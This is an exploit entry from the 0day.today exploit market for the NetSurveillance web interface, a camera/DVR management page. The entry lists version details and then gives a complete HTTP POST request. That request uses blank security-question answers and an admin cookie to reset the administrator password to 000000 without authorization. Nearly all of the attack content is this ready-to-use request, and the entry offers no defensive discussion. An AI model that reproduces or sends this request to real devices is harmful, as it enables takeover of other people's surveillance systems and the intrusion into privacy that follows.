[ authorization ] [ registration ] [ restore account ]
Contact us
You can contact us by:
0day Today Exploits Market and 0day Exploits Database

NetSurveillance Unauthorized Password Change Vulnerability

Author
AsCiI
Risk
[
Security Risk High
]
0day-ID
0day-ID-35293
Category
web applications
Date add
20-11-2020
Platform
php
# Exploit Title: NetSurveillance Web interface password change
# Exploit Author: AsCiI
# Vendor Homepage: 
# Software Link: 
# Version: V4.02.R11.00000140.10001.131900.00000 maybe other
# Tested on: V4.02.R11.00000140.10001.131900.00000 Build Date:2017/12/6 9:4:23
# CVE : 

NetSurveillance Web interface password can be changed when 
there is no default question set, the answer will be empty
Tested on System: V4.02.R11.00000140.10001.131900.00000
Build Date:2017/12/6 9:4:23


POST /result.html?cLanguage=null HTTP/1.1
Host: [Host_Name]
Referer: http://[Host_Name]/reminder.html
Content-Type: application/x-www-form-urlencoded
Cookie: NetSuveillanceWebCookie=%7B%22username%22%3A%22admin%22%7D
Unlockquestion1=Please+select+Question&Unlockanswer1=&Unlockquestion2=Please+select+Question&Unlockanswer2=&password=000000&confirpossword=000000

#  0day.today [2024-09-19]  #